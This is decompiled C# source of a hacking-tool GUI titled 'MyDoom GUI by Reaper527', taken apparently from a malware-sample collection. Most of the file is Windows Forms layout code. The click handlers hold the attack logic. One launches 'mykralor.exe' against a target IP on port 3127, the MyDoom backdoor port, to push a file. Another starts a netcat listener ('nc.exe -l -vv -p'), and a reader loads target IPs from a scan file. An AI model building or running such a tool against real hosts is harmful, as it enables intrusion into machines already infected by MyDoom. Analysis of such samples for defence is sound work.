// Decompiled with JetBrains decompiler
// Type: MyDoomGui.Form1
// Assembly: MyDoomGui, Version=1.0.1502.30493, Culture=neutral, PublicKeyToken=null
// MVID: 6C6928A3-EE14-4DF7-9863-BE37DB5C6929
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.Mydoomer.g-991fd70524a1d3ec8a7d786e00f91705f1c0a88072319302353dd58f81cb5052.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Windows.Forms;

namespace MyDoomGui
{
  public class Form1 : Form
  {
    [AccessedThroughProperty("Label3")]
    private Label _Label3;
    [AccessedThroughProperty("txtFilename")]
    private TextBox _txtFilename;
    [AccessedThroughProperty("btnDown")]
    private Button _btnDown;
    [AccessedThroughProperty("txtNetCat")]
    private TextBox _txtNetCat;
    [AccessedThroughProperty("Label2")]
    private Label _Label2;
    [AccessedThroughProperty("TxtIP")]
    private TextBox _TxtIP;
    [AccessedThroughProperty("Label1")]
    private Label _Label1;
    [AccessedThroughProperty("btnExploit")]
    private Button _btnExploit;
    [AccessedThroughProperty("BtnNetCat")]
    private Button _BtnNetCat;
    [AccessedThroughProperty("rtbInstruc")]
    private RichTextBox _rtbInstruc;
    [AccessedThroughProperty("Label5")]
    private Label _Label5;
    [AccessedThroughProperty("btnUp")]
    private Button _btnUp;
    private IContainer components;
    private string IPval;
    private string NetCatval;
    private string FileNameval;
    private int linenumber;

    [STAThread]
    public static void Main() => Application.Run((Form) new Form1());

    public Form1()
    {
      this.Activated += new EventHandler(this.Form1_Activated);
      this.InitializeComponent();
    }

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    internal virtual TextBox TxtIP
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._TxtIP == null)
          ;
        this._TxtIP = value;
        if (this._TxtIP == null)
          ;
      }
      get => this._TxtIP;
    }

    internal virtual Label Label1
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label1 == null)
          ;
        this._Label1 = value;
        if (this._Label1 == null)
          ;
      }
      get => this._Label1;
    }

    internal virtual Button BtnNetCat
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._BtnNetCat != null)
          this._BtnNetCat.Click -= new EventHandler(this.BtnNetCat_Click);
        this._BtnNetCat = value;
        if (this._BtnNetCat == null)
          return;
        this._BtnNetCat.Click += new EventHandler(this.BtnNetCat_Click);
      }
      get => this._BtnNetCat;
    }

    internal virtual Button btnExploit
    {
      get => this._btnExploit;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._btnExploit != null)
          this._btnExploit.Click -= new EventHandler(this.btnExploit_Click);
        this._btnExploit = value;
        if (this._btnExploit == null)
          return;
        this._btnExploit.Click += new EventHandler(this.btnExploit_Click);
      }
    }

    internal virtual Label Label2
    {
      get => this._Label2;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label2 == null)
          ;
        this._Label2 = value;
        if (this._Label2 == null)
          ;
      }
    }

    internal virtual TextBox txtNetCat
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._txtNetCat == null)
          ;
        this._txtNetCat = value;
        if (this._txtNetCat == null)
          ;
      }
      get => this._txtNetCat;
    }

    internal virtual TextBox txtFilename
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._txtFilename == null)
          ;
        this._txtFilename = value;
        if (this._txtFilename == null)
          ;
      }
      get => this._txtFilename;
    }

    internal virtual Label Label3
    {
      get => this._Label3;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label3 == null)
          ;
        this._Label3 = value;
        if (this._Label3 == null)
          ;
      }
    }

    internal virtual Label Label5
    {
      get => this._Label5;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label5 == null)
          ;
        this._Label5 = value;
        if (this._Label5 == null)
          ;
      }
    }

    internal virtual RichTextBox rtbInstruc
    {
      get => this._rtbInstruc;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._rtbInstruc == null)
          ;
        this._rtbInstruc = value;
        if (this._rtbInstruc == null)
          ;
      }
    }

    internal virtual Button btnUp
    {
      get => this._btnUp;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._btnUp != null)
          this._btnUp.Click -= new EventHandler(this.btnUp_Click);
        this._btnUp = value;
        if (this._btnUp == null)
          return;
        this._btnUp.Click += new EventHandler(this.btnUp_Click);
      }
    }

    internal virtual Button btnDown
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._btnDown != null)
          this._btnDown.Click -= new EventHandler(this.btnDown_Click);
        this._btnDown = value;
        if (this._btnDown == null)
          return;
        this._btnDown.Click += new EventHandler(this.btnDown_Click);
      }
      get => this._btnDown;
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.TxtIP = new TextBox();
      this.Label1 = new Label();
      this.BtnNetCat = new Button();
      this.btnExploit = new Button();
      this.Label2 = new Label();
      this.txtNetCat = new TextBox();
      this.txtFilename = new TextBox();
      this.Label3 = new Label();
      this.Label5 = new Label();
      this.rtbInstruc = new RichTextBox();
      this.btnUp = new Button();
      this.btnDown = new Button();
      this.SuspendLayout();
      TextBox txtIp1 = this.TxtIP;
      Point point1 = new Point(56, 16);
      Point point2 = point1;
      txtIp1.Location = point2;
      this.TxtIP.Name = "TxtIP";
      TextBox txtIp2 = this.TxtIP;
      Size size1 = new Size(128, 20);
      Size size2 = size1;
      txtIp2.Size = size2;
      this.TxtIP.TabIndex = 0;
      this.TxtIP.Text = "Ip Here";
      Label label1_1 = this.Label1;
      point1 = new Point(24, 16);
      Point point3 = point1;
      label1_1.Location = point3;
      this.Label1.Name = "Label1";
      Label label1_2 = this.Label1;
      size1 = new Size(24, 16);
      Size size3 = size1;
      label1_2.Size = size3;
      this.Label1.TabIndex = 11;
      this.Label1.Text = "IP:";
      this.Label1.TextAlign = ContentAlignment.MiddleRight;
      Button btnNetCat = this.BtnNetCat;
      point1 = new Point(200, 48);
      Point point4 = point1;
      btnNetCat.Location = point4;
      this.BtnNetCat.Name = "BtnNetCat";
      this.BtnNetCat.TabIndex = 3;
      this.BtnNetCat.Text = "NetCat";
      Button btnExploit = this.btnExploit;
      point1 = new Point(200, 16);
      Point point5 = point1;
      btnExploit.Location = point5;
      this.btnExploit.Name = "btnExploit";
      this.btnExploit.TabIndex = 4;
      this.btnExploit.Text = "Exploit";
      Label label2_1 = this.Label2;
      point1 = new Point(16, 48);
      Point point6 = point1;
      label2_1.Location = point6;
      this.Label2.Name = "Label2";
      Label label2_2 = this.Label2;
      size1 = new Size(32, 16);
      Size size4 = size1;
      label2_2.Size = size4;
      this.Label2.TabIndex = 10;
      this.Label2.Text = "Port:";
      this.Label2.TextAlign = ContentAlignment.MiddleRight;
      TextBox txtNetCat1 = this.txtNetCat;
      point1 = new Point(56, 48);
      Point point7 = point1;
      txtNetCat1.Location = point7;
      this.txtNetCat.Name = "txtNetCat";
      TextBox txtNetCat2 = this.txtNetCat;
      size1 = new Size(128, 20);
      Size size5 = size1;
      txtNetCat2.Size = size5;
      this.txtNetCat.TabIndex = 1;
      this.txtNetCat.Text = "NetCat Port";
      TextBox txtFilename1 = this.txtFilename;
      point1 = new Point(56, 80);
      Point point8 = point1;
      txtFilename1.Location = point8;
      this.txtFilename.Name = "txtFilename";
      TextBox txtFilename2 = this.txtFilename;
      size1 = new Size(128, 20);
      Size size6 = size1;
      txtFilename2.Size = size6;
      this.txtFilename.TabIndex = 2;
      this.txtFilename.Text = "File Name";
      Label label3_1 = this.Label3;
      point1 = new Point(8, 80);
      Point point9 = point1;
      label3_1.Location = point9;
      this.Label3.Name = "Label3";
      Label label3_2 = this.Label3;
      size1 = new Size(40, 16);
      Size size7 = size1;
      label3_2.Size = size7;
      this.Label3.TabIndex = 9;
      this.Label3.Text = "Name:";
      this.Label3.TextAlign = ContentAlignment.MiddleRight;
      Label label5 = this.Label5;
      point1 = new Point(104, 112);
      Point point10 = point1;
      label5.Location = point10;
      this.Label5.Name = "Label5";
      this.Label5.TabIndex = 8;
      this.Label5.Text = "Instructions";
      this.Label5.TextAlign = ContentAlignment.MiddleCenter;
      RichTextBox rtbInstruc1 = this.rtbInstruc;
      point1 = new Point(24, 152);
      Point point11 = point1;
      rtbInstruc1.Location = point11;
      this.rtbInstruc.Name = "rtbInstruc";
      RichTextBox rtbInstruc2 = this.rtbInstruc;
      size1 = new Size(272, 152);
      Size size8 = size1;
      rtbInstruc2.Size = size8;
      this.rtbInstruc.TabIndex = 7;
      this.rtbInstruc.Text = "";
      Button btnUp1 = this.btnUp;
      point1 = new Point(216, 80);
      Point point12 = point1;
      btnUp1.Location = point12;
      this.btnUp.Name = "btnUp";
      Button btnUp2 = this.btnUp;
      size1 = new Size(16, 23);
      Size size9 = size1;
      btnUp2.Size = size9;
      this.btnUp.TabIndex = 6;
      this.btnUp.Text = "N";
      Button btnDown1 = this.btnDown;
      point1 = new Point(248, 80);
      Point point13 = point1;
      btnDown1.Location = point13;
      this.btnDown.Name = "btnDown";
      Button btnDown2 = this.btnDown;
      size1 = new Size(16, 23);
      Size size10 = size1;
      btnDown2.Size = size10;
      this.btnDown.TabIndex = 5;
      this.btnDown.Text = "L";
      size1 = new Size(5, 13);
      this.AutoScaleBaseSize = size1;
      size1 = new Size(320, 342);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.btnDown);
      this.Controls.Add((Control) this.btnUp);
      this.Controls.Add((Control) this.rtbInstruc);
      this.Controls.Add((Control) this.Label5);
      this.Controls.Add((Control) this.Label3);
      this.Controls.Add((Control) this.txtFilename);
      this.Controls.Add((Control) this.Label2);
      this.Controls.Add((Control) this.txtNetCat);
      this.Controls.Add((Control) this.btnExploit);
      this.Controls.Add((Control) this.BtnNetCat);
      this.Controls.Add((Control) this.Label1);
      this.Controls.Add((Control) this.TxtIP);
      this.Name = nameof (Form1);
      this.Text = "MyDoom GUI by Reaper527";
      this.ResumeLayout(false);
    }

    private void BtnNetCat_Click(object sender, EventArgs e)
    {
      this.NetCatval = this.txtNetCat.Text;
      Interaction.Shell("nc.exe -l -vv -p " + this.NetCatval, AppWinStyle.NormalFocus);
    }

    private void btnExploit_Click(object sender, EventArgs e)
    {
      this.IPval = this.TxtIP.Text;
      this.NetCatval = this.txtNetCat.Text;
      this.FileNameval = this.txtFilename.Text;
      Interaction.Shell("mykralor.exe " + this.IPval + " 3127" + " " + this.FileNameval, AppWinStyle.NormalFocus);
    }

    private void Form1_Activated(object sender, EventArgs e)
    {
      StreamReader streamReader = new StreamReader("inst.atb");
      this.rtbInstruc.Text = streamReader.ReadToEnd();
      streamReader.Close();
    }

    private void btnUp_Click(object sender, EventArgs e) => this.TxtIP.Text = FileSystem.LineInput(1);

    private void btnDown_Click(object sender, EventArgs e)
    {
      if (StringType.StrCmp(FileSystem.Dir("scan.txt"), "", false) == 0)
        return;
      FileSystem.FileOpen(1, "scan.txt", OpenMode.Input);
    }
  }
}
